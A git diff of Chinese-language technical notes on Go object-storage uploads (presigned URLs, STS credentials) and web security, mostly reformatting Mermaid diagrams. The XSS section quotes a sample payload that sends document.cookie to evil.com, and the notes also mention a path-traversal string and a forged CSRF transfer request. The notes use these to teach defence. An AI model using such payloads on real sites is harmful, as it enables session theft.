vault backup: 2026-05-19 15:17:50
This commit is contained in:
@@ -1,5 +1,13 @@
|
||||
---
|
||||
tags: ["OAuth2", "MFA", "Authentication", "Authorization", "Security", "TOTP", "OpenID-Connect", "2FA"]
|
||||
tags:
|
||||
- OAuth2
|
||||
- MFA
|
||||
- Authentication
|
||||
- Authorization
|
||||
- Security
|
||||
- TOTP
|
||||
- OpenID-Connect
|
||||
- 2FA
|
||||
create time: 2026-05-17 20:00
|
||||
---
|
||||
|
||||
|
||||
+92
-70
@@ -30,9 +30,9 @@ OSS(Object Storage Service)即**对象存储**,是一种将非结构化数
|
||||
flowchart LR
|
||||
subgraph OSS_BUCKET["Bucket: my-app-data"]
|
||||
direction TB
|
||||
O1["Key: uploads/avatar/001.png<br/>Body: (PNG binary data)"]
|
||||
O2["Key: docs/report.pdf<br/>Body: (PDF binary data)"]
|
||||
O3["Key: backups/db-dump.sql.gz<br/>Body: (SQL compressed)"]
|
||||
O1["Key: uploads/avatar/001.png Body: PNG binary data"]
|
||||
O2["Key: docs/report.pdf Body: PDF binary data"]
|
||||
O3["Key: backups/db-dump.sql.gz Body: SQL compressed"]
|
||||
end
|
||||
|
||||
classDef bucketStyle fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
|
||||
@@ -58,9 +58,9 @@ flowchart LR
|
||||
|
||||
```mermaid
|
||||
graph TD
|
||||
A["Go 对象存储 SDK"] --> B["Aliyun OSS SDK<br/>alibabacloud-oss-go-sdk-v2"]
|
||||
A --> C["Minio Client SDK<br/>minio/go-minio"]
|
||||
A --> D["AWS SDK for Go v2<br/>aws/aws-sdk-go-v2/s3"]
|
||||
A["Go 对象存储 SDK"] --> B["Aliyun OSS SDK alibabacloud-go/oss-go-sdk-v2"]
|
||||
A --> C["Minio Client SDK minio/minio-go"]
|
||||
A --> D["AWS SDK for Go v2 aws/aws-sdk-go-v2/s3"]
|
||||
|
||||
B --> B1["适用于阿里云 OSS"]
|
||||
B --> B2["API 完全覆盖 OSS 功能"]
|
||||
@@ -68,11 +68,11 @@ graph TD
|
||||
|
||||
C --> C1["兼容 S3/OSS/COS/GCS 等"]
|
||||
C --> C2["API 接近标准库 io.Reader"]
|
||||
C --> C3["推荐用于多云/混合云场景"]
|
||||
C --> C3["推荐用于多云混合云场景"]
|
||||
|
||||
D --> D1["AWS 官方 SDK"]
|
||||
D --> D2["功能最全面"]
|
||||
D --> D3["体积大, 编译慢"]
|
||||
D --> D3["体积大 编译慢"]
|
||||
|
||||
style C1 fill:#e8f5e9,stroke:#2e7d32
|
||||
style B1 fill:#fff3e0,stroke:#f57c00
|
||||
@@ -107,10 +107,13 @@ client := oss.NewClient(&oss.Config{
|
||||
})
|
||||
```
|
||||
|
||||
**方式二:Minio Client(更简洁,跨云兼容)**
|
||||
**方式二:Minio Client(更简洁,跨云兼容)— `github.com/minio/minio-go/v7`**
|
||||
|
||||
```go
|
||||
import "github.com/minio/minio-go/v7"
|
||||
import (
|
||||
"github.com/minio/minio-go/v7"
|
||||
"github.com/minio/minio-go/v7/pkg/credentials"
|
||||
)
|
||||
|
||||
client, err := minio.New("oss-cn-hangzhou.aliyuncs.com", &minio.Options{
|
||||
Creds: credentials.NewStaticV4(accessKey, secretKey, ""),
|
||||
@@ -162,11 +165,11 @@ sequenceDiagram
|
||||
participant GO as Gin Server
|
||||
participant OSS as OSS 服务
|
||||
|
||||
FE->>GO: POST 文件 (multipart/form-data)
|
||||
Note over GO: 解析请求体 (io.Reader 流式)
|
||||
GO->>OSS: PUT 上传 (Stream 转发)
|
||||
OSS-->>GO: 200 OK (ETag, Location)
|
||||
GO-->>FE: 200 OK (返回 OSS 访问地址)
|
||||
FE->>GO: POST 文件 multipart/form-data
|
||||
Note over GO: 解析请求体 io.Reader 流式
|
||||
GO->>OSS: PUT 上传 Stream 转发
|
||||
OSS-->>GO: 200 OK ETag Location
|
||||
GO-->>FE: 200 OK 返回 OSS 访问地址
|
||||
```
|
||||
|
||||
**工作流程:**
|
||||
@@ -231,19 +234,19 @@ sequenceDiagram
|
||||
participant GO as Gin Server
|
||||
participant OSS as OSS 服务
|
||||
|
||||
FE->>GO: GET /upload/url?filename=photo.jpg
|
||||
FE->>GO: GET /upload/url filename photo.jpg
|
||||
Note over GO: 验证登录态和权限
|
||||
GO->>OSS: PresignedPutObject(photo.jpg, 15min)
|
||||
OSS-->>GO: (预签名URL)含签名和过期参数
|
||||
GO-->>FE: (返回URL和文件元信息)
|
||||
GO->>OSS: PresignedPutObject photo.jpg 15min
|
||||
OSS-->>GO: 预签名URL含签名和过期参数
|
||||
GO-->>FE: 返回URL和文件元信息
|
||||
|
||||
FE->>OSS: PUT 直接上传<br/>Content-Type: image/jpeg<br/>文件二进制数据
|
||||
FE->>OSS: PUT 直接上传 Content-Type image/jpeg 文件二进制数据
|
||||
OSS-->>FE: 200 OK
|
||||
|
||||
opt 通知服务端完成
|
||||
FE->>GO: POST /upload/callback<br/>文件名和元信息
|
||||
FE->>GO: POST /upload/callback 文件名和元信息
|
||||
Note over GO: 验证对象存在于 OSS
|
||||
GO-->>FE: 200 OK (记录元信息到 DB)
|
||||
GO-->>FE: 200 OK 记录元信息到 DB
|
||||
end
|
||||
```
|
||||
|
||||
@@ -254,7 +257,7 @@ sequenceDiagram
|
||||
4. 上传完成后回调服务端,记录元信息到数据库
|
||||
|
||||
> [!info] 详细说明
|
||||
> 预签名 URL 的安全要点、完整代码实现及回调验证逻辑详见 [第 7 节](#7-预签名-url-免服务端中转)。
|
||||
> 预签名 URL 的安全要点、完整代码实现及回调验证逻辑详见 [§7](hhs/DEV/OSS/OSS.md)。
|
||||
|
||||
#### 方案 C:STS 临时凭证直传(STS Credentials)
|
||||
|
||||
@@ -267,11 +270,11 @@ sequenceDiagram
|
||||
|
||||
FE->>GO: 请求上传权限
|
||||
Note over GO: 验证用户身份
|
||||
GO->>STS: AssumeRole (角色Arn + SessionName)
|
||||
STS-->>GO: AccessKeyId + AccessKeySecret + SecurityToken<br/>有效期15分钟
|
||||
GO-->>FE: (返回临时凭证)
|
||||
GO->>STS: AssumeRole 角色Arn加SessionName
|
||||
STS-->>GO: AccessKeyId加AccessKeySecret加SecurityToken有效期15分钟
|
||||
GO-->>FE: 返回临时凭证
|
||||
|
||||
FE->>OSS: 用临时凭证直接上传<br/>PostObject API
|
||||
FE->>OSS: 用临时凭证直接上传 PostObject API
|
||||
OSS-->>FE: 200 OK
|
||||
```
|
||||
|
||||
@@ -334,14 +337,14 @@ func getSTSCredentials(c *gin.Context) {
|
||||
```mermaid
|
||||
flowchart TD
|
||||
A["用户上传文件"] --> B{"文件大小?"}
|
||||
B -- "<= 1MB" --> C{"是否需要服务端<br/>内容分析/转码?"}
|
||||
B -- "<= 1MB" --> C{"是否需要服务端内容分析转码?"}
|
||||
B -- "> 1MB 或不确定" --> D{"预期并发量?"}
|
||||
|
||||
C -- "否" --> E["✅ 方案 B: 预签名 URL<br/>最简单+零带宽开销"]
|
||||
C -- "是" --> F["✅ 方案 A: 服务端中转<br/>可控但限并发"]
|
||||
C -- "否" --> E["方案 B: 预签名 URL 最简单加零带宽开销"]
|
||||
C -- "是" --> F["方案 A: 服务端中转 可控但限并发"]
|
||||
|
||||
D -- "QPS < 100" --> G["✅ 方案 B: 预签名 URL"]
|
||||
D -- "QPS >= 100 或<br/>大批量/大文件" --> H["✅ 方案 C: STS 临时凭证<br/>灵活且可扩展"]
|
||||
D -- "QPS < 100" --> G["方案 B: 预签名 URL"]
|
||||
D -- "QPS >= 100 或大批量大文件" --> H["方案 C: STS 临时凭证 灵活且可扩展"]
|
||||
```
|
||||
|
||||
> [!success] 经验法则
|
||||
@@ -349,7 +352,7 @@ flowchart TD
|
||||
|
||||
---
|
||||
|
||||
*本节各方案代码已包含完整实现要点;更多细节可参考:[对象基本操作](#6-对象基本操作)、[预签名 URL 详解](#7-预签名-url-免服务端中转)、[并发与安全注意事项](#9-并发与安全注意事项)。*
|
||||
*本节各方案代码已包含完整实现要点;更多细节可参考:[对象基本操作](#6-对象基本操作)、[预签名 URL 详解](hhs/DEV/OSS/OSS.md) 、[并发与安全注意事项](#9-并发与安全注意事项)。*
|
||||
|
||||
### 6. 对象基本操作
|
||||
|
||||
@@ -424,41 +427,60 @@ for obj := range objects {
|
||||
|
||||
### 7. 预签名 URL — 免服务端中转
|
||||
|
||||
**这是对象存储最常用的高级模式之一。**
|
||||
|
||||
> **核心问题**:用户上传图片时,如果不走对象存储直传,而是先 POST 到 Go 服务端再由服务端转发到 OSS——当 1000 个用户同时上传 5MB 图片时,Go 进程需要消耗多少带宽?
|
||||
|
||||
答案很简单:**5MB × 1000 = 5GB 内存 + 带宽压力**。这就是为什么应该让客户端直接跟 OSS 对话。
|
||||
|
||||
**预签名 URL 流程:**
|
||||
**核心原理:** 预签名 URL 的本质是服务端用 AK/SK 对 HTTP 请求做一次 HMAC 签名,把签名结果以查询参数的形式附加到 URL 上。OSS 收到请求后,用同样的算法重算签名并比对——一致则放行,否则拒绝。整个过程不需要服务端暴露任何凭证。
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant FE as 浏览器 / 客户端
|
||||
participant GO as Gin Server
|
||||
participant OSS as OSS 服务
|
||||
|
||||
FE->>GO: GET /upload/url<br/>?filename=photo.jpg
|
||||
Note over GO: 验证用户登录态和权限
|
||||
GO->>OSS: PresignedGetObject(photo.jpg, 15min)
|
||||
OSS-->>GO: (预签名URL)<br/>含签名和过期参数
|
||||
GO-->>FE: (返回URL和类型信息)
|
||||
|
||||
FE->>OSS: PUT直接上传<br/>Content-Type: image/jpeg<br/>文件二进制数据
|
||||
OSS-->>FE: 200 OK
|
||||
|
||||
opt 通知服务端完成
|
||||
FE->>GO: POST /upload/callback<br/>文件名和元信息
|
||||
GO-->>FE: 200 OK
|
||||
flowchart LR
|
||||
subgraph SERVER["服务端 (持有永久 AK/SK)"]
|
||||
S1["用户身份验证"] --> S2["调用 OSS API PresignedPutObject"]
|
||||
S2 --> S3["HMAC-SHA256 签名计算"]
|
||||
S3 --> S4["返回含签名参数的 URL"]
|
||||
end
|
||||
|
||||
subgraph CLIENT["浏览器 (无凭证)"]
|
||||
C1["收到预签名 URL"] --> C2["PUT 请求直达 OSS ?Signature=xxx&Expires=yyy"]
|
||||
C2 --> C3["文件直传到 OSS"]
|
||||
end
|
||||
|
||||
subgraph OSS["对象存储"]
|
||||
O1["重算签名比对"] --> O2{"一致?"}
|
||||
O2 -- "是" --> O3["接受上传 ✅"]
|
||||
O2 -- "否" --> O4["拒绝 ❌ 403"]
|
||||
C3 --> O1
|
||||
end
|
||||
|
||||
S4 --> C1
|
||||
style SERVER fill:#fff3e0,stroke:#f57c00
|
||||
style CLIENT fill:#e3f2fd,stroke:#1565c0
|
||||
style OSS fill:#e8f5e9,stroke:#2e7d32
|
||||
```
|
||||
|
||||
> [!note] 安全要点
|
||||
> 预签名 URL 有时间限制(通常 5~15 分钟),过期后无效。即使 URL 泄露也无法长期滥用。
|
||||
**三个实用技巧:**
|
||||
|
||||
1. **限制 Content-Type 伪装**:`PresignedPutObject` 本身不约束 `Content-Type`,攻击者可能上传 `.php` 恶意脚本。解决方法是在 Callback 校验中加上类型白名单,或者使用 Object Lock(如果云厂商支持)。
|
||||
|
||||
2. **自动命名优于前端传文件名**:不要直接用前端传来的文件名生成 Key,容易路径遍历(`../../../etc/passwd`)。服务端统一用 UUID 命名,前端只负责传一个友好的展示名称:
|
||||
|
||||
```go
|
||||
// 好:服务端控制实际存储路径
|
||||
func getPresignedURL(c *gin.Context) {
|
||||
displayName := c.Query("displayName")
|
||||
key := uuid.New().String() + filepath.Ext(displayName)
|
||||
// ... 生成预签名 URL
|
||||
}
|
||||
```
|
||||
|
||||
3. **过期时间按需分配**:小文件(头像、截图)给 5 分钟足够了;大视频或批量导出可以给 30 分钟~2 小时。过短 → 用户没传完就过期,过长 → 泄露后的风险窗口变大。
|
||||
|
||||
**代码示例:**
|
||||
|
||||
```go
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
func getPresignedUploadURL(c *gin.Context) {
|
||||
filename := c.Query("filename")
|
||||
contentType := c.DefaultQuery("contentType", "application/octet-stream")
|
||||
@@ -563,19 +585,19 @@ err := client.SetBucketLifecycle(ctx, bucketName, &lifecycle.Configuration{
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph TRAPS["常见陷阱"]
|
||||
T1["AccessKey泄露<br/>导致账单爆炸"]
|
||||
T2["未限流<br/>OSS请求被拒绝"]
|
||||
T3["命名冲突<br/>同名文件覆盖"]
|
||||
T4["内存溢出<br/>全量读入内存"]
|
||||
T5["内网跨地域<br/>用了公网Endpoint"]
|
||||
T1["AccessKey泄露 导致账单爆炸"]
|
||||
T2["未限流 OSS请求被拒绝"]
|
||||
T3["命名冲突 同名文件覆盖"]
|
||||
T4["内存溢出 全量读入内存"]
|
||||
T5["内网跨地域 用了公网Endpoint"]
|
||||
end
|
||||
|
||||
subgraph FIXES["解决方案"]
|
||||
F1["使用RAM子账号+STS<br/>临时凭证(15min过期)"]
|
||||
F2["客户端侧限速+重试退避<br/>指数退避算法"]
|
||||
F3["使用UUID或NanoID重命名<br/>fileUUID_扩展名"]
|
||||
F4["始终用io.Reader流式处理<br/>避免ReadAll读大文件"]
|
||||
F5["确保ECS与Bucket同Region<br/>使用内网internal endpoint"]
|
||||
F1["使用RAM子账号加STS临时凭证15min过期"]
|
||||
F2["客户端侧限速加重试退避指数退避算法"]
|
||||
F3["使用UUID或NanoID重命名fileUUID下划线扩展名"]
|
||||
F4["始终用io.Reader流式处理避免ReadAll读大文件"]
|
||||
F5["确保ECS与Bucket同Region使用内网internal endpoint"]
|
||||
end
|
||||
|
||||
T1 --> F1
|
||||
@@ -620,7 +642,7 @@ _, err := io.Copy(dst, obj) // 内存占用恒定(~64KB 内部缓冲区)
|
||||
|
||||
| 使用场景 | 所在章节 | 返回形式 | 典型消费者 |
|
||||
|---------|---------|---------|-----------|
|
||||
| HTTP 端点直传 | [§5.C](#方案-csts-临时凭证直传) | `gin.H` JSON | 浏览器前端 |
|
||||
| HTTP 端点直传 | [§5.C](hhs/DEV/OSS/OSS.md) | `gin.H` JSON | 浏览器前端 |
|
||||
| 内部服务间传递 | 下方 `GetTempCreds()` | `*sts.Credentials` 结构体 | 其他 Go 微服务 |
|
||||
|
||||
两种方式的 **AssumeRole 调用链路完全相同**(见下),区别仅在封装层级:HTTP handler 多了一层入参解析和响应序列化。生产环境中通常将其抽象为一个内部 `GetTempCreds(roleArn string, userID string)` 函数,由 HTTP handler 或其他服务统一调用,避免重复实现。
|
||||
|
||||
@@ -45,15 +45,18 @@ graph LR
|
||||
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
|
||||
|
||||
```go
|
||||
// ❌ 危险的存储做法 — 未过滤直接入库
|
||||
// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
|
||||
func SaveComment(db *sql.DB, userID int, content string) error {
|
||||
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
|
||||
return err
|
||||
}
|
||||
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
|
||||
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS
|
||||
|
||||
// ✅ 正确做法 — 存储时不转义,渲染时编码;或使用富文本 sanitization
|
||||
// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
|
||||
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
|
||||
// ⚠️ 纯文本场景:直接存原始内容,渲染时用 html/template 自动编码
|
||||
// 纯文本场景:直接存原始内容
|
||||
// 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
|
||||
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
|
||||
return err
|
||||
}
|
||||
@@ -315,8 +318,7 @@ sequenceDiagram
|
||||
|
||||
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
|
||||
Note over U: 浏览器自动带上 bank.com 的 Cookie
|
||||
U->>B: 2. GET /transfer?to=hacker&amt=10000
|
||||
Cookie: sessionid=abc123...
|
||||
U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
|
||||
B->>B: 3. 校验 Session ✓ → 执行转账
|
||||
B->>U: 4. 返回成功
|
||||
Note over A,U: 用户毫无感知,钱已被转走
|
||||
@@ -401,7 +403,7 @@ sequenceDiagram
|
||||
|
||||
FE->>SRV: GET /page (页面加载)
|
||||
SRV->>SRV: 生成 csrf_token = random(256bit)
|
||||
SRV->>FE: 返回 HTML + hidden input:<br/><input name="_csrf" value="token_xxx">
|
||||
SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
|
||||
FE->>FE: Token 存入内存(或 cookie)
|
||||
|
||||
FE->>SRV: POST /transfer _csrf=token_xxx
|
||||
@@ -409,7 +411,6 @@ sequenceDiagram
|
||||
SRV->>FE: 200 OK
|
||||
|
||||
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
|
||||
end
|
||||
|
||||
Attacker->>SRV: POST /transfer (无 token)
|
||||
SRV->>SRV: 比对失败 ✗
|
||||
|
||||
Reference in New Issue
Block a user